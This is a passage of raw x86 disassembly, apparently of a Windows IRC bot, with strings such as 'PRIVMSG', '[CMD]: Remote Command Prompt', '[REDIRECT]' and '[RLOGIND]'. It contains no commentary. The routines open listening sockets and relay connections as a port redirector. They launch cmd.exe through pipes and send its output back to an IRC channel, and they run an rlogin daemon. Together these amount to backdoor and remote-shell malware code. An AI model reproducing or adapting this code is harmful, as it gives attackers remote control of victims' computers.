		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43668C[eax]
		call	dword_4358F4	; closesocket
		push	[ebp+arg_0]
		call	dword_4358F4	; closesocket
		push	[ebp+var_4]
		call	sub_412735
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread


loc_40EEC2:				; CODE XREF: sub_40ED35+198j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40EECA:				; CODE XREF: sub_40ED35+14Aj
		cmp	[ebp+var_20], ebx
		jz	short loc_40EEC2
		jmp	short loc_40EEE8
; ---------------------------------------------------------------------------


loc_40EED1:				; CODE XREF: sub_40ED35+1D9j
		push	ebx
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EE94


loc_40EEE8:				; CODE XREF: sub_40ED35+19Aj
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+var_1344]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+var_1344]
		push	eax
		push	dword ptr [esi]
		call	dword_43575C	; recv
		cmp	eax, ebx
		jg	short loc_40EED1
		jmp	short loc_40EE94
sub_40ED35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF12	proc near		; DATA XREF: sub_408A18+2778o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	4Ah
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	[ebp+var_40]
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_435934	; ntohs
		push	6
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], ebx
		mov	[ebp+arg_0], 10h
		call	dword_4357E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40F071
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	esi
		push	401h
		push	ebx
		push	edi
		mov	dword_43668C[eax], edi
		call	dword_435874	; WSAAsyncSelect
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	dword_4358C0	; bind
		test	eax, eax
		jnz	loc_40F071
		push	0Ah
		push	edi
		call	dword_435908	; listen
		test	eax, eax
		jnz	loc_40F071


loc_40EFB8:				; CODE XREF: sub_40EF12+BAj
					; sub_40EF12+15Aj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4357AC	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EFB8
		push	[ebp+var_3C]
		movzx	eax, [ebp+var_22]
		push	eax
		push	[ebp+var_20]
		mov	[ebp+var_148], esi
		mov	[ebp+var_2C], ebx
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset aRedirectClie_0 ; "[REDIRECT]: Client connection	from IP: "...
		push	eax
		call	sub_4145E5
		push	esi
		lea	eax, [ebp+var_34C]
		push	11h
		push	eax
		call	sub_412471
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_436684[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_14C]
		push	eax
		push	offset sub_40ED35
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		jnz	short loc_40F067
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFail_1 ; "[REDIRECT]: Failed to	start client thre"...
		call	sub_401F73
		pop	ecx
		pop	ecx
		jmp	short loc_40F074
; ---------------------------------------------------------------------------


loc_40F05F:				; CODE XREF: sub_40EF12+158j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40F067:				; CODE XREF: sub_40EF12+136j
		cmp	[ebp+var_2C], ebx
		jz	short loc_40F05F
		jmp	loc_40EFB8
; ---------------------------------------------------------------------------


loc_40F071:				; CODE XREF: sub_40EF12+5Dj
					; sub_40EF12+8Fj ...
		mov	esi, [ebp+arg_0]


loc_40F074:				; CODE XREF: sub_40EF12+14Bj
		push	esi
		call	dword_4358F4	; closesocket
		push	edi
		call	dword_4358F4	; closesocket
		push	[ebp+var_3C]
		call	sub_412735
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40EF12	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F093	proc near		; CODE XREF: sub_40F0C3+30p
					; sub_40F101+85p ...
		mov	eax, dword_47BF18
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_42003C
		jz	short loc_40F0A7
		push	eax
		call	esi	; CloseHandle


loc_40F0A7:				; CODE XREF: sub_40F093+Fj
		mov	eax, dword_47BF14
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F0B4
		push	eax
		call	esi	; CloseHandle


loc_40F0B4:				; CODE XREF: sub_40F093+1Cj
		mov	eax, dword_47BF50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F0C1
		push	eax
		call	esi	; CloseHandle


loc_40F0C1:				; CODE XREF: sub_40F093+29j
		pop	esi
		retn
sub_40F093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0C3	proc near		; CODE XREF: sub_408A18+3878p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_40F0CD:				; CODE XREF: sub_40F0C3+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F0CD
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		push	dword_47BF0C
		call	ds:dword_420040	; WriteFile
		test	eax, eax
		jnz	short loc_40F0FC
		call	sub_40F093
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F0FC:				; CODE XREF: sub_40F0C3+2Ej
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40F0C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F101	proc near		; CODE XREF: sub_40F18F+D9p
					; sub_40F18F+11Fp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ecx, ecx
		push	edi
		inc	ecx
		mov	edi, 420AEAh
		xor	eax, eax
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_40F146
		push	0FAh
		call	ds:dword_420000	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4145E5
		add	esp, 10h
		jmp	short loc_40F15D
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F101+1Cj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40F15D:				; CODE XREF: sub_40F101+43j
		lea	eax, [ebp+var_200]
		lea	edx, [eax+1]


loc_40F166:				; CODE XREF: sub_40F101+6Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40F166
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43587C	; send
		test	eax, eax
		jg	short loc_40F18B
		call	sub_40F093


loc_40F18B:				; CODE XREF: sub_40F101+83j
		xor	eax, eax
		leave
		retn
sub_40F101	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F18F	proc near		; DATA XREF: sub_40F31C+16Ao

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ebx, 80h
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		xor	edi, edi
		push	edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, 200h
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_47BF18
		call	ds:dword_42010C	; PeekNamedPipe
		test	eax, eax
		jz	loc_40F29E
		jmp	short loc_40F1D9
; ---------------------------------------------------------------------------


loc_40F1D7:				; CODE XREF: sub_40F18F+109j
		xor	edi, edi


loc_40F1D9:				; CODE XREF: sub_40F18F+46j
		cmp	[ebp+var_4], edi
		jnz	short loc_40F209
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_47BF50
		call	ds:dword_420108	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_8], 103h
		jnz	loc_40F2CB


loc_40F1FF:				; CODE XREF: sub_40F18F+61j
		push	0Ah
		call	ds:dword_420000	; Sleep
		jmp	short loc_40F270
; ---------------------------------------------------------------------------


loc_40F209:				; CODE XREF: sub_40F18F+4Dj
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40F224


loc_40F210:				; CODE XREF: sub_40F18F+93j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	loc_40F2C2
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40F210


loc_40F224:				; CODE XREF: sub_40F18F+7Fj
		mov	[ebp+var_4], esi


loc_40F227:				; CODE XREF: sub_40F18F+137j
		xor	eax, eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_47BF18
		call	ds:dword_42008C	; ReadFile
		test	eax, eax
		jz	loc_40F2F3
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset dword_47BF1C
		push	dword_47BF10
		call	sub_40F101
		add	esp, 0Ch


loc_40F270:				; CODE XREF: sub_40F18F+78j
		xor	eax, eax
		push	eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_47BF18
		call	ds:dword_42010C	; PeekNamedPipe
		test	eax, eax
		jnz	loc_40F1D7


loc_40F29E:				; CODE XREF: sub_40F18F+40j
		push	offset aCmdCouldNotRea ; "[CMD]: Could not read	data from procces"...
		push	offset dword_47BF1C
		push	dword_47BF10
		call	sub_40F101
		push	[ebp+arg_0]
		call	sub_412735
		add	esp, 10h
		push	1
		jmp	short loc_40F315
; ---------------------------------------------------------------------------


loc_40F2C2:				; CODE XREF: sub_40F18F+89j
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_40F227
; ---------------------------------------------------------------------------


loc_40F2CB:				; CODE XREF: sub_40F18F+6Aj
		call	sub_40F093
		push	offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
		push	offset dword_47BF1C
		push	dword_47BF10
		call	sub_40F101
		push	[ebp+arg_0]
		call	sub_412735
		add	esp, 10h
		push	edi
		jmp	short loc_40F315
; ---------------------------------------------------------------------------


loc_40F2F3:				; CODE XREF: sub_40F18F+C1j
		push	offset aCmdCouldNotR_0 ; "[CMD]: Could not read	data from procces"...
		push	offset dword_47BF1C
		push	dword_47BF10
		call	sub_40F101
		push	[ebp+arg_0]
		call	sub_412735
		add	esp, 10h
		push	0


loc_40F315:				; CODE XREF: sub_40F18F+131j
					; sub_40F18F+162j
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40F18F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F31C	proc near		; CODE XREF: sub_408A18+4688p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		call	sub_40F093
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_435808	; SearchPathA
		test	eax, eax
		jnz	short loc_40F353
		or	eax, 0FFFFFFFFh
		jmp	loc_40F4C8
; ---------------------------------------------------------------------------


loc_40F353:				; CODE XREF: sub_40F31C+2Dj
		push	ebx
		push	edi
		mov	edi, ds:dword_420114
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jnz	short loc_40F386


loc_40F37E:				; CODE XREF: sub_40F31C+7Bj
					; sub_40F31C+9Dj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40F4C6
; ---------------------------------------------------------------------------


loc_40F386:				; CODE XREF: sub_40F31C+60j
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	short loc_40F37E
		mov	edi, ds:dword_4200E0
		push	3
		push	esi
		push	esi
		push	offset dword_47BF0C
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_420110	; DuplicateHandle
		test	eax, eax
		jz	short loc_40F37E
		xor	eax, eax
		lea	edi, [ebp+var_2C]
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_74]
		rep stosd
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		mov	ebx, 420AEAh
		push	ebx
		lea	eax, [ebp+var_178]
		push	eax
		mov	[ebp+var_74], 44h
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_420038	; CreateProcessA
		test	eax, eax
		jz	loc_40F37E
		push	[ebp+var_4]
		mov	edi, ds:dword_42003C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_47BF18, eax
		mov	eax, [ebp+var_8]
		mov	dword_47BF14, eax
		mov	eax, [ebp+var_2C]
		mov	dword_47BF50, eax
		call	edi	; CloseHandle
		cmp	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		mov	dword_47BF10, eax
		jz	short loc_40F452
		push	[ebp+arg_4]
		jmp	short loc_40F453
; ---------------------------------------------------------------------------


loc_40F452:				; CODE XREF: sub_40F31C+12Fj
		push	ebx


loc_40F453:				; CODE XREF: sub_40F31C+134j
		push	offset dword_47BF1C
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	esi
		push	8
		push	offset aCmdRemoteComma ; "[CMD]: Remote	Command	Prompt"
		call	sub_412471
		mov	ecx, [ebp+var_24]
		mov	edi, eax
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_436688[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40F18F
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		cmp	eax, esi
		mov	dword_436694[edi], eax
		jnz	short loc_40F4C4
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset aCmdFailedToSta ; "[CMD]: Failed	to start IO thread, error"...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_401EFF
		add	esp, 10h


loc_40F4C4:				; CODE XREF: sub_40F31C+17Fj
		xor	eax, eax


loc_40F4C6:				; CODE XREF: sub_40F31C+65j
		pop	edi
		pop	ebx


loc_40F4C8:				; CODE XREF: sub_40F31C+32j
		pop	esi
		leave
		retn
sub_40F31C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F4CB	proc near		; CODE XREF: sub_40F563+A6p
					; sub_40F563+B6p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax


loc_40F4D2:				; CODE XREF: sub_40F4CB+2Aj
		push	0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	dword_43575C	; recv
		cmp	eax, 1
		jnz	short loc_40F508
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_4]
		jz	short loc_40F4FD
		test	al, al
		jnz	short loc_40F4D2
		xor	eax, eax
		inc	eax


loc_40F4FA:				; CODE XREF: sub_40F4CB+3Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F4FD:				; CODE XREF: sub_40F4CB+26j
		push	offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
		call	sub_401F73
		pop	ecx


loc_40F508:				; CODE XREF: sub_40F4CB+1Bj
		xor	eax, eax
		jmp	short loc_40F4FA
sub_40F4CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F50C	proc near		; DATA XREF: sub_40F76F+5Ao

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		setz	al
		retn
sub_40F50C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F516	proc near		; CODE XREF: sub_40F563+175p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_40F51B:				; CODE XREF: sub_40F516+21j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40F53D
		test	cl, cl
		jz	short loc_40F539
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40F53D
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40F51B


loc_40F539:				; CODE XREF: sub_40F516+Fj
		xor	eax, eax
		jmp	short loc_40F542
; ---------------------------------------------------------------------------


loc_40F53D:				; CODE XREF: sub_40F516+Bj
					; sub_40F516+19j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40F542:				; CODE XREF: sub_40F516+25j
		test	eax, eax
		pop	esi
		jz	short loc_40F55F
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
		call	sub_401F73
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40F55F:				; CODE XREF: sub_40F516+2Fj
		xor	eax, eax
		inc	eax
		retn
sub_40F516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40F563	proc near		; DATA XREF: sub_40F76F+19Fo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_3D4]
		rep movsd
		mov	esi, [ebp+74h+var_208]
		mov	[ebp+74h+arg_0], esi
		imul	esi, 234h
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		mov	eax, dword_43668C[esi]
		mov	[ebp+74h+var_1F0], eax
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_1F4]
		push	eax
		push	ebx
		mov	[ebp+74h+var_C], 1Eh
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_1F4], edi
		call	dword_43588C	; select
		test	eax, eax
		jnz	short loc_40F5EC
		push	dword_43668C[esi]
		call	dword_4358F4	; closesocket
		push	[ebp+74h+var_208]


loc_40F5E1:				; CODE XREF: sub_40F563+1A2j
		call	sub_412735
		pop	ecx
		jmp	loc_40F767
; ---------------------------------------------------------------------------


loc_40F5EC:				; CODE XREF: sub_40F563+6Aj
		push	ebx
		push	edi
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	dword_43668C[esi]
		call	dword_43575C	; recv
		push	10h
		push	dword_43668C[esi]
		lea	eax, [ebp+74h+var_2C]
		call	sub_40F4CB
		push	10h
		push	dword_43668C[esi]
		lea	eax, [ebp+74h+var_4C]
		call	sub_40F4CB
		push	40h
		push	dword_43668C[esi]
		lea	eax, [ebp+74h+var_F0]
		call	sub_40F4CB
		add	esp, 18h
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	dword_43668C[esi]
		mov	[ebp+74h+var_4], 10h
		call	dword_435828	; getpeername
		test	eax, eax
		jz	short loc_40F674
		call	dword_4358A0	; WSAGetLastError
		push	eax
		push	offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
		call	sub_401F73
		push	[ebp+74h+var_208]
		call	sub_412735
		add	esp, 0Ch
		jmp	loc_40F767
; ---------------------------------------------------------------------------


loc_40F674:				; CODE XREF: sub_40F563+EBj
		push	2
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		call	dword_4358D8	; gethostbyaddr
		cmp	eax, ebx
		jnz	short loc_40F69D
		push	[ebp+74h+var_18]
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_40F6AC
; ---------------------------------------------------------------------------


loc_40F69D:				; CODE XREF: sub_40F563+121j
		mov	ecx, [eax]
		lea	edx, [ebp+74h+var_B0]


loc_40F6A2:				; CODE XREF: sub_40F563+147j
		mov	al, [ecx]
		inc	ecx
		mov	[edx], al
		inc	edx
		cmp	al, bl
		jnz	short loc_40F6A2


loc_40F6AC:				; CODE XREF: sub_40F563+138j
		push	ebx
		push	edi
		push	420AEAh
		push	dword_43668C[esi]
		call	dword_43587C	; send
		cmp	dword_47BF58, ebx
		jnz	short loc_40F70A
		push	[ebp+74h+var_18]
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		lea	eax, [ebp+74h+var_350]
		call	sub_40F516
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40F70A
		push	ebx
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		lea	esi, dword_43668C[esi]
		push	dword ptr [esi]
		call	dword_43587C	; send
		push	dword ptr [esi]
		call	dword_4358F4	; closesocket
		push	[ebp+74h+arg_0]
		jmp	loc_40F5E1
; ---------------------------------------------------------------------------


loc_40F70A:				; CODE XREF: sub_40F563+162j
					; sub_40F563+17Fj
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
		call	sub_401F73
		push	[ebp+74h+arg_0]
		call	sub_41094B
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40F74A
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
		call	sub_401F73
		push	[ebp+74h+arg_0]
		call	sub_412735
		add	esp, 0Ch
		push	edi
		jmp	short loc_40F768
; ---------------------------------------------------------------------------


loc_40F74A:				; CODE XREF: sub_40F563+1C6j
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
		call	sub_401F73
		push	[ebp+74h+arg_0]
		call	sub_412735
		add	esp, 10h


loc_40F767:				; CODE XREF: sub_40F563+84j
					; sub_40F563+10Cj
		push	ebx


loc_40F768:				; CODE XREF: sub_40F563+1E5j
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40F563	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F76F	proc near		; DATA XREF: sub_408A18+4547o

var_5A8		= byte ptr -5A8h
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_218]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1DCh], esi
		lea	eax, [ebp+var_5A8]
		push	eax
		push	202h
		call	dword_4357F8	; WSAStartup
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40F7C8
		push	eax
		push	offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
		call	sub_401F73
		push	[ebp+var_50]
		call	sub_412735
		add	esp, 0Ch


loc_40F7C2:				; CODE XREF: sub_40F76F+8Bj
		push	esi
		jmp	loc_40F9E4
; ---------------------------------------------------------------------------


loc_40F7C8:				; CODE XREF: sub_40F76F+3Bj
		push	esi
		push	offset sub_40F50C
		call	ds:dword_420118	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40F7FC
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
		call	sub_401F73
		pop	ecx
		pop	ecx
		call	dword_435900	; WSACleanup
		push	[ebp+var_50]
		call	sub_412735
		pop	ecx
		jmp	short loc_40F7C2
; ---------------------------------------------------------------------------


loc_40F7FC:				; CODE XREF: sub_40F76F+67j
		push	[ebp+var_54]
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_24], 2
		call	dword_435934	; ntohs
		push	6
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4357E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40F974
		mov	ecx, [ebp+var_50]
		imul	ecx, 234h
		push	10h
		pop	edi
		mov	dword_43668C[ecx], eax
		push	edi
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		call	dword_4358C0	; bind
		test	eax, eax
		jnz	loc_40F974
		push	7FFFFFFFh
		push	[ebp+arg_0]
		call	dword_435908	; listen
		test	eax, eax
		jnz	loc_40F974
		push	offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_401EFF
		pop	ecx
		mov	[ebp+var_8], esi
		jmp	loc_40F953
; ---------------------------------------------------------------------------


loc_40F88E:				; CODE XREF: sub_40F76F+1FDj
		push	[ebp+var_8]
		lea	eax, [ebp+var_8]
		push	eax
		push	8
		push	0FFFFh
		push	esi
		call	dword_435804	; setsockopt
